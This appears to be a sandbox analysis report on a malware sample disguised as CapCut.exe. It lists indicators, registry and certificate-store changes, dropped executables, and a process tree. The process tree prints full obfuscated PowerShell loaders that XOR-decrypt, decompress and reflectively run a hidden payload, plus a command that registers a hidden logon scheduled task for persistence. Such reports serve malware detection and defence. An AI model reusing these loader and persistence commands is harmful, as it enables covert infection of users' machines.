640a873a9bdc77ddd340a9196fece62dcbfd3e6bdeec787f60d882a59a4ca264

Analysis

max time kernel
133s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-10-2024 05:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

CapCut.exe
Size

133.1MB
MD5

386d607b4ca8d760db1d6e72eaef4bd1
SHA1

58a800bca6ab2b324388fd330b17300ef9a1fef5
SHA256

a73fc2f0d7f187d75f1f04080f6ebc9791fe9b0911bb602da88b892e98f48b34
SHA512

c7ccfc5cb8d73ca1b54bc39226aff665d1612bde5bd1a827485bf80927a530565a77a193a34c916e0135c6f0b41fc3113029f28671153ad2e43d34f5100e3466
SSDEEP

1572864:C2HVo9Ck+yOBBdJAVwlymAETslfp409t:49Ctx3tu

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
82	4424	powershell.exe
84	4424	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2272	powershell.exe
4424	powershell.exe
1712	powershell.exe

Downloads MZ/PE file

Patched UPX-packed file 1 IoCs

Sample is packed with UPX but required header fields are zeroed out to prevent unpacking with the default UPX tool.

resource	yara_rule
behavioral12/files/0x000800000002354f-211.dat	patched_upx

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	CapCut.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	CapCut.exe

Executes dropped EXE 11 IoCs

pid	Process
4900	php.exe
4944	php.exe
3652	rhc.exe
2372	rhc.exe
3568	php.exe
2148	php.exe
5072	rhc.exe
4760	php.exe
1112	rhc.exe
372	rhc.exe
5040	php.exe

Loads dropped DLL 64 IoCs

pid	Process
4900	php.exe
4900	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
4944	php.exe
3568	php.exe
3568	php.exe
2148	php.exe
2148	php.exe
2148	php.exe
2148	php.exe
2148	php.exe
2148	php.exe
3568	php.exe
2148	php.exe
2148	php.exe
3568	php.exe
2148	php.exe
3568	php.exe
3568	php.exe
3568	php.exe
2148	php.exe
3568	php.exe
3568	php.exe
2148	php.exe
3568	php.exe
2148	php.exe
3568	php.exe
2148	php.exe
3568	php.exe
3568	php.exe
2148	php.exe
3568	php.exe
2148	php.exe
3568	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
4760	php.exe
5040	php.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
81	api.ipify.org
82	api.ipify.org

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhc.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	CapCut.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	CapCut.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	CapCut.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4444	CapCut.exe
4444	CapCut.exe
3352	CapCut.exe
3352	CapCut.exe
1568	CapCut.exe
1568	CapCut.exe
3568	php.exe
3568	php.exe
2012	powershell.exe
2012	powershell.exe
4760	php.exe
4760	php.exe
2272	powershell.exe
2272	powershell.exe
4424	powershell.exe
4424	powershell.exe
1712	powershell.exe
1712	powershell.exe
5040	php.exe
5040	php.exe
2408	CapCut.exe
2408	CapCut.exe
2408	CapCut.exe
2408	CapCut.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeIncreaseQuotaPrivilege	1712	powershell.exe
Token: SeSecurityPrivilege	1712	powershell.exe
Token: SeTakeOwnershipPrivilege	1712	powershell.exe
Token: SeLoadDriverPrivilege	1712	powershell.exe
Token: SeSystemProfilePrivilege	1712	powershell.exe
Token: SeSystemtimePrivilege	1712	powershell.exe
Token: SeProfSingleProcessPrivilege	1712	powershell.exe
Token: SeIncBasePriorityPrivilege	1712	powershell.exe
Token: SeCreatePagefilePrivilege	1712	powershell.exe
Token: SeBackupPrivilege	1712	powershell.exe
Token: SeRestorePrivilege	1712	powershell.exe
Token: SeShutdownPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeSystemEnvironmentPrivilege	1712	powershell.exe
Token: SeRemoteShutdownPrivilege	1712	powershell.exe
Token: SeUndockPrivilege	1712	powershell.exe
Token: SeManageVolumePrivilege	1712	powershell.exe
Token: 33	1712	powershell.exe
Token: 34	1712	powershell.exe
Token: 35	1712	powershell.exe
Token: 36	1712	powershell.exe
Token: SeIncreaseQuotaPrivilege	1712	powershell.exe
Token: SeSecurityPrivilege	1712	powershell.exe
Token: SeTakeOwnershipPrivilege	1712	powershell.exe
Token: SeLoadDriverPrivilege	1712	powershell.exe
Token: SeSystemProfilePrivilege	1712	powershell.exe
Token: SeSystemtimePrivilege	1712	powershell.exe
Token: SeProfSingleProcessPrivilege	1712	powershell.exe
Token: SeIncBasePriorityPrivilege	1712	powershell.exe
Token: SeCreatePagefilePrivilege	1712	powershell.exe
Token: SeBackupPrivilege	1712	powershell.exe
Token: SeRestorePrivilege	1712	powershell.exe
Token: SeShutdownPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeSystemEnvironmentPrivilege	1712	powershell.exe
Token: SeRemoteShutdownPrivilege	1712	powershell.exe
Token: SeUndockPrivilege	1712	powershell.exe
Token: SeManageVolumePrivilege	1712	powershell.exe
Token: 33	1712	powershell.exe
Token: 34	1712	powershell.exe
Token: 35	1712	powershell.exe
Token: 36	1712	powershell.exe
Token: SeIncreaseQuotaPrivilege	1712	powershell.exe
Token: SeSecurityPrivilege	1712	powershell.exe
Token: SeTakeOwnershipPrivilege	1712	powershell.exe
Token: SeLoadDriverPrivilege	1712	powershell.exe
Token: SeSystemProfilePrivilege	1712	powershell.exe
Token: SeSystemtimePrivilege	1712	powershell.exe
Token: SeProfSingleProcessPrivilege	1712	powershell.exe
Token: SeIncBasePriorityPrivilege	1712	powershell.exe
Token: SeCreatePagefilePrivilege	1712	powershell.exe
Token: SeBackupPrivilege	1712	powershell.exe
Token: SeRestorePrivilege	1712	powershell.exe
Token: SeShutdownPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeSystemEnvironmentPrivilege	1712	powershell.exe
Token: SeRemoteShutdownPrivilege	1712	powershell.exe
Token: SeUndockPrivilege	1712	powershell.exe
Token: SeManageVolumePrivilege	1712	powershell.exe
Token: 33	1712	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 216 wrote to memory of 4444	216	CapCut.exe	80
PID 216 wrote to memory of 4444	216	CapCut.exe	80
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 812	216	CapCut.exe	81
PID 216 wrote to memory of 3352	216	CapCut.exe	82
PID 216 wrote to memory of 3352	216	CapCut.exe	82
PID 216 wrote to memory of 1568	216	CapCut.exe	84
PID 216 wrote to memory of 1568	216	CapCut.exe	84
PID 4444 wrote to memory of 4900	4444	CapCut.exe	95
PID 4444 wrote to memory of 4900	4444	CapCut.exe	95
PID 4444 wrote to memory of 4944	4444	CapCut.exe	97
PID 4444 wrote to memory of 4944	4444	CapCut.exe	97
PID 4444 wrote to memory of 3652	4444	CapCut.exe	99
PID 4444 wrote to memory of 3652	4444	CapCut.exe	99
PID 4444 wrote to memory of 3652	4444	CapCut.exe	99
PID 4444 wrote to memory of 2372	4444	CapCut.exe	100
PID 4444 wrote to memory of 2372	4444	CapCut.exe	100
PID 4444 wrote to memory of 2372	4444	CapCut.exe	100
PID 2372 wrote to memory of 3568	2372	rhc.exe	102
PID 2372 wrote to memory of 3568	2372	rhc.exe	102
PID 3652 wrote to memory of 2148	3652	rhc.exe	101
PID 3652 wrote to memory of 2148	3652	rhc.exe	101
PID 2148 wrote to memory of 4968	2148	php.exe	105
PID 2148 wrote to memory of 4968	2148	php.exe	105
PID 4968 wrote to memory of 2012	4968	cmd.exe	106
PID 4968 wrote to memory of 2012	4968	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\CapCut.exe
"C:\Users\Admin\AppData\Local\Temp\CapCut.exe"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:216
- C:\Users\Admin\AppData\Local\Temp\CapCut.exe
  C:\Users\Admin\AppData\Local\Temp\CapCut.exe C:\Users\Admin\AppData\Local\Temp\resources\app.asar\dist\temp\temp
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe
    C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe -v
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4900
- - C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe
    C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe -v
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4944
- - C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe
    C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\include.php
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3652
  - - C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe
      C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\include.php
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2148
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "PowerShell -c "Get-Date -Format 'yyyy-MM-dd HH:mm:ss'""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4968
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell -c "Get-Date -Format 'yyyy-MM-dd HH:mm:ss'"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2012
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ""C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe" "C:\ProgramData\install.bat""
        5⤵
        
        PID:2456
      - C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe
        
        "C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe" "C:\ProgramData\install.bat"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1112
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\install.bat""
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1768
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\ProgramData\install.bat"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:544
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c $taHD='C:\ProgramData\install.bat';$NtIb='FHirslHirsusHirshHirs'.Replace('Hirs', '');$ObcK='WHirsrHirsiHirstHirse'.Replace('Hirs', '');$ArEi='RHirseHirsaHirsd'.Replace('Hirs', '');$JrMk='LHirsoHirsaHirsd'.Replace('Hirs', '');$zoKG='EHirsnHirstHirsryHirsPoHirsinHirst'.Replace('Hirs', '');$ddJZ='IHirsnHirsvoHirskHirse'.Replace('Hirs', '');$UHEF='FrHirsoHirsmBHirsasHirse6Hirs4HirsSHirstrHirsinHirsg'.Replace('Hirs', '');$SPyy='MHirsaHirsinHirsMoHirsdHirsuHirsle'.Replace('Hirs', '');$VaHf='GHirseHirstHirsCuHirsrrHirsenHirstPHirsroHirsceHirsss'.Replace('Hirs', '');$PDYZ='ElHirsemHirsenHirstAHirst'.Replace('Hirs', '');$Retn='ReHirsadHirsLiHirsnHirseHirss'.Replace('Hirs', '');$Hdbx='ChHirsaHirsnHirsgeHirsExHirstHirseHirsnsHirsiHirsoHirsnHirs'.Replace('Hirs', '');$ublZB=[System.Linq.Enumerable]::$PDYZ([System.IO.File]::$Retn($taHD), 1);$YXXGq=$ublZB.Substring(2);function cSUex($kGFsz){$SjAZa=New-Object System.IO.MemoryStream(,$kGFsz);$zIanR=New-Object System.IO.MemoryStream;$vRvnd=New-Object System.IO.Compression.GZipStream($SjAZa,[IO.Compression.CompressionMode]::Decompress);$hRgEv = New-Object System.IO.BinaryWriter($zIanR);$bRTaW = New-Object byte[](1024);while($true){$FgteA = $vRvnd.$ArEi($bRTaW,0,1024);if($FgteA -le 0){break;}$hRgEv.$ObcK($bRTaW,0,$FgteA);$hRgEv.$NtIb();}$vRvnd.Dispose();$SjAZa.Dispose();$hRgEv.Close();$zIanR.Dispose();$zIanR.ToArray();}function JeGso($kGFsz){$PzChi=[System.Convert]::$UHEF('7hl8HDjB6KYIKdxWsK/Yv3pcVj44gbOTziIiPQGMP4k=');For ($i=0; $i -lt $kGFsz.Length; $i++){$ix = $i % $PzChi.Length;$kGFsz[$i] = $kGFsz[$i] -bxor $PzChi[$ix];}$kGFsz;}$YjPOO = cSUex(JeGso([System.Convert]::$UHEF($YXXGq)));[System.Reflection.Assembly]::$JrMk([byte[]]$YjPOO).$zoKG.$ddJZ($null,$null);
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "function cSUex($kGFsz){$SjAZa=New-Object System.IO.MemoryStream(,$kGFsz);$zIanR=New-Object System.IO.MemoryStream;$vRvnd=New-Object System.IO.Compression.GZipStream($SjAZa,[IO.Compression.CompressionMode]::Decompress);$hRgEv = New-Object System.IO.BinaryWriter($zIanR);$bRTaW = New-Object byte[](1024);while($true){$FgteA = $vRvnd.Read($bRTaW,0,1024);if($FgteA -le 0){break;}$hRgEv.Write($bRTaW,0,$FgteA);$hRgEv.Flush();}$vRvnd.Dispose();$SjAZa.Dispose();$hRgEv.Close();$zIanR.Dispose();$zIanR.ToArray();}function JeGso($kGFsz){$PzChi=[System.Convert]::FromBase64String('hkguTzSCb75g7sJ9ChMcmAOPpeBL9ZJy/tejnoCjT+E=');For ($i=0; $i -lt $kGFsz.Length; $i++){$ix = $i % $PzChi.Length;$kGFsz[$i] = $kGFsz[$i] -bxor $PzChi[$ix];}$kGFsz;}$YjPOO = cSUex(JeGso([System.Convert]::FromBase64String([System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Pac\data2.txt'))));[System.Reflection.Assembly]::Load([byte[]]$YjPOO).EntryPoint.Invoke($null,$null);"
        10⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4424
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c $taskName = 'CFoxMaint';$taskExe = 'C:\Users\Admin\AppData\Local\taskUnity\task.exe';$taskarg = '\"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe\" \"-w\" \"hidden\" \"-c\" \"$cVYT=''FlcVYTzucVYTzscVYTzh''.Replace(''cVYTz'', '''');$zdEd=''WcVYTzricVYTztcVYTze''.Replace(''cVYTz'', '''');$jKLx=''RcVYTzecVYTzacVYTzd''.Replace(''cVYTz'', '''');$VNBZ=''LcVYTzocVYTzacVYTzd''.Replace(''cVYTz'', '''');$WCSY=''RcVYTzeacVYTzdcVYTzAcVYTzllcVYTzTcVYTzexcVYTzt''.Replace(''cVYTz'', '''');$ftEp=''EncVYTztcVYTzrycVYTzPocVYTzincVYTzt''.Replace(''cVYTz'', '''');$HEBS=''IncVYTzvcVYTzokcVYTze''.Replace(''cVYTz'', '''');$rBMS=''FrcVYTzomcVYTzBacVYTzsecVYTz64cVYTzScVYTztrcVYTzing''.Replace(''cVYTz'', '''');function cSUex($kGFsz){$SjAZa=New-Object System.IO.MemoryStream(,$kGFsz);$zIanR=New-Object System.IO.MemoryStream;$vRvnd=New-Object System.IO.Compression.GZipStream($SjAZa,[IO.Compression.CompressionMode]::Decompress);$hRgEv = New-Object System.IO.BinaryWriter($zIanR);$bRTaW = New-Object byte[](1024);while($true){$FgteA = $vRvnd.$jKLx($bRTaW,0,1024);if($FgteA -le 0){break;}$hRgEv.$zdEd($bRTaW,0,$FgteA);$hRgEv.$cVYT();}$vRvnd.Dispose();$SjAZa.Dispose();$hRgEv.Close();$zIanR.Dispose();$zIanR.ToArray();}function JeGso($kGFsz){$PzChi=[System.Convert]::$rBMS(''hkguTzSCb75g7sJ9ChMcmAOPpeBL9ZJy/tejnoCjT+E='');For ($i=0; $i -lt $kGFsz.Length; $i++){$ix = $i % $PzChi.Length;$kGFsz[$i] = $kGFsz[$i] -bxor $PzChi[$ix];}$kGFsz;}$YjPOO = cSUex(JeGso([Convert]::$rBMS([System.IO.File]::$WCSY(''C:\Users\Admin\AppData\Local\Pac\data2.txt''))));[System.Reflection.Assembly]::$VNBZ([byte[]]$YjPOO).$ftEp.$HEBS($null,$null);\"';$taskWD = 'C:\Users\Admin\AppData\Local\Pac';$taskExists = Get-ScheduledTask | Where-Object {$_.TaskName -like $taskName };$A = New-ScheduledTaskAction -Execute $taskExe -WorkingDirectory $taskWD -Argument $taskarg;if($taskExists) {Set-ScheduledTask -TaskName $taskName -Action $A;} else {$T = New-ScheduledTaskTrigger -AtLogOn -User ($env:USERNAME);$S = New-ScheduledTaskSettingsSet -StartWhenAvailable -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;$D = New-ScheduledTask -Action $A -Trigger $T -Settings $S;Register-ScheduledTask -TaskName $taskName -InputObject $D;}
        11⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1712
- - C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe
    C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\index.php
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2372
  - - C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe
      C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\index.php
      4⤵
      Executes dropped EXE
      Loads dropped DLL
